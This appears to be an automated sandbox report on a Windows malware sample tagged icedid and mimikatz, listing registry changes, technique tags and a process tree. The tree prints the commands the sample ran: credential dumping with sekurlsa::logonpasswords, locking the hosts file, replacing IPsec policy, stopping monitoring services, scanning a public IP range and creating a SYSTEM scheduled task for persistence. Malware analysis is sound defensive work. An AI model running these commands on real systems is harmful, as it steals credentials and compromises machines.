Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wpcap.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	glithlcwh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	euiugba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cuwoqc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4768	cmd.exe
2636	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x0008000000023490-6.dat	nsis_installer_2
behavioral2/files/0x000c000000023498-15.dat	nsis_installer_1
behavioral2/files/0x000c000000023498-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	euiugba.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	euiugba.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	euiugba.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	euiugba.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	euiugba.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	euiugba.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	wewhpbpmh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	wewhpbpmh.exe

Modifies registry class 14 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	euiugba.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	euiugba.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	euiugba.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2636	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
632	schtasks.exe
4964	schtasks.exe
3984	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	4936	euiugba.exe
Token: SeDebugPrivilege	4464	euiugba.exe
Token: SeDebugPrivilege	3868	vfshost.exe
Token: SeDebugPrivilege	1648	wewhpbpmh.exe
Token: SeLockMemoryPrivilege	4568	pctkcm.exe
Token: SeLockMemoryPrivilege	4568	pctkcm.exe
Token: SeDebugPrivilege	3764	wewhpbpmh.exe
Token: SeDebugPrivilege	2476	wewhpbpmh.exe
Token: SeDebugPrivilege	2536	wewhpbpmh.exe
Token: SeDebugPrivilege	1696	wewhpbpmh.exe
Token: SeDebugPrivilege	64	wewhpbpmh.exe
Token: SeDebugPrivilege	2716	wewhpbpmh.exe
Token: SeDebugPrivilege	4992	wewhpbpmh.exe
Token: SeDebugPrivilege	3932	wewhpbpmh.exe
Token: SeDebugPrivilege	4492	wewhpbpmh.exe
Token: SeDebugPrivilege	1668	wewhpbpmh.exe
Token: SeDebugPrivilege	736	wewhpbpmh.exe
Token: SeDebugPrivilege	1428	wewhpbpmh.exe
Token: SeDebugPrivilege	2320	wewhpbpmh.exe
Token: SeDebugPrivilege	4988	wewhpbpmh.exe
Token: SeDebugPrivilege	812	wewhpbpmh.exe
Token: SeDebugPrivilege	2864	wewhpbpmh.exe
Token: SeDebugPrivilege	672	wewhpbpmh.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
4936	euiugba.exe
4936	euiugba.exe
4464	euiugba.exe
4464	euiugba.exe
1236	xohudmc.exe
4580	cuwoqc.exe
2476	euiugba.exe
2476	euiugba.exe
808	euiugba.exe
808	euiugba.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3488 wrote to memory of 4768	3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe	84
PID 3488 wrote to memory of 4768	3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe	84
PID 3488 wrote to memory of 4768	3488	2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe	84
PID 4768 wrote to memory of 2636	4768	cmd.exe	87
PID 4768 wrote to memory of 2636	4768	cmd.exe	87
PID 4768 wrote to memory of 2636	4768	cmd.exe	87
PID 4768 wrote to memory of 4936	4768	cmd.exe	97
PID 4768 wrote to memory of 4936	4768	cmd.exe	97
PID 4768 wrote to memory of 4936	4768	cmd.exe	97
PID 4464 wrote to memory of 5080	4464	euiugba.exe	99
PID 4464 wrote to memory of 5080	4464	euiugba.exe	99
PID 4464 wrote to memory of 5080	4464	euiugba.exe	99
PID 5080 wrote to memory of 952	5080	cmd.exe	101
PID 5080 wrote to memory of 952	5080	cmd.exe	101
PID 5080 wrote to memory of 952	5080	cmd.exe	101
PID 5080 wrote to memory of 8	5080	cmd.exe	102
PID 5080 wrote to memory of 8	5080	cmd.exe	102
PID 5080 wrote to memory of 8	5080	cmd.exe	102
PID 5080 wrote to memory of 5012	5080	cmd.exe	103
PID 5080 wrote to memory of 5012	5080	cmd.exe	103
PID 5080 wrote to memory of 5012	5080	cmd.exe	103
PID 5080 wrote to memory of 3232	5080	cmd.exe	104
PID 5080 wrote to memory of 3232	5080	cmd.exe	104
PID 5080 wrote to memory of 3232	5080	cmd.exe	104
PID 5080 wrote to memory of 2840	5080	cmd.exe	105
PID 5080 wrote to memory of 2840	5080	cmd.exe	105
PID 5080 wrote to memory of 2840	5080	cmd.exe	105
PID 5080 wrote to memory of 2312	5080	cmd.exe	106
PID 5080 wrote to memory of 2312	5080	cmd.exe	106
PID 5080 wrote to memory of 2312	5080	cmd.exe	106
PID 4464 wrote to memory of 5116	4464	euiugba.exe	110
PID 4464 wrote to memory of 5116	4464	euiugba.exe	110
PID 4464 wrote to memory of 5116	4464	euiugba.exe	110
PID 4464 wrote to memory of 2672	4464	euiugba.exe	112
PID 4464 wrote to memory of 2672	4464	euiugba.exe	112
PID 4464 wrote to memory of 2672	4464	euiugba.exe	112
PID 4464 wrote to memory of 544	4464	euiugba.exe	114
PID 4464 wrote to memory of 544	4464	euiugba.exe	114
PID 4464 wrote to memory of 544	4464	euiugba.exe	114
PID 4464 wrote to memory of 3544	4464	euiugba.exe	119
PID 4464 wrote to memory of 3544	4464	euiugba.exe	119
PID 4464 wrote to memory of 3544	4464	euiugba.exe	119
PID 3544 wrote to memory of 3676	3544	cmd.exe	121
PID 3544 wrote to memory of 3676	3544	cmd.exe	121
PID 3544 wrote to memory of 3676	3544	cmd.exe	121
PID 3676 wrote to memory of 1260	3676	wpcap.exe	122
PID 3676 wrote to memory of 1260	3676	wpcap.exe	122
PID 3676 wrote to memory of 1260	3676	wpcap.exe	122
PID 1260 wrote to memory of 4216	1260	net.exe	124
PID 1260 wrote to memory of 4216	1260	net.exe	124
PID 1260 wrote to memory of 4216	1260	net.exe	124
PID 3676 wrote to memory of 4720	3676	wpcap.exe	125
PID 3676 wrote to memory of 4720	3676	wpcap.exe	125
PID 3676 wrote to memory of 4720	3676	wpcap.exe	125
PID 4720 wrote to memory of 3984	4720	net.exe	127
PID 4720 wrote to memory of 3984	4720	net.exe	127
PID 4720 wrote to memory of 3984	4720	net.exe	127
PID 3676 wrote to memory of 2380	3676	wpcap.exe	128
PID 3676 wrote to memory of 2380	3676	wpcap.exe	128
PID 3676 wrote to memory of 2380	3676	wpcap.exe	128
PID 2380 wrote to memory of 5000	2380	net.exe	130
PID 2380 wrote to memory of 5000	2380	net.exe	130
PID 2380 wrote to memory of 5000	2380	net.exe	130
PID 3676 wrote to memory of 2084	3676	wpcap.exe	131

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1388
- C:\Windows\TEMP\tzgyhthhu\pctkcm.exe
  "C:\Windows\TEMP\tzgyhthhu\pctkcm.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4568

C:\Users\Admin\AppData\Local\Temp\2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-29_84822eca1ff1a90d4d729921b07da4ac_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3488
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gezmcuhh\euiugba.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2636
- - C:\Windows\gezmcuhh\euiugba.exe
    C:\Windows\gezmcuhh\euiugba.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4936

C:\Windows\gezmcuhh\euiugba.exe
C:\Windows\gezmcuhh\euiugba.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:952
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5012
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2840
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2312
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5116
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2672
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:544
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe
    C:\Windows\thgpqiiyn\zymuetvrm\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3676
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1260
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        
        PID:4216
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4720
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:3984
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2380
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5000
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2084
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:1648
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:3448
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      PID:4812
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2036
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4932
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\thgpqiiyn\zymuetvrm\Scant.txt
  2⤵
  PID:1948
- - C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe
    C:\Windows\thgpqiiyn\zymuetvrm\glithlcwh.exe -p 80 222.186.128.1-222.186.255.255 --rate=512 -oJ C:\Windows\thgpqiiyn\zymuetvrm\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2160
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\thgpqiiyn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\thgpqiiyn\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:3944
- - C:\Windows\thgpqiiyn\Corporate\vfshost.exe
    C:\Windows\thgpqiiyn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pazzgwtck" /ru system /tr "cmd /c C:\Windows\ime\euiugba.exe"
  2⤵
  PID:3116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1576
- - C:\Windows\SysWOW64\schtasks.exe
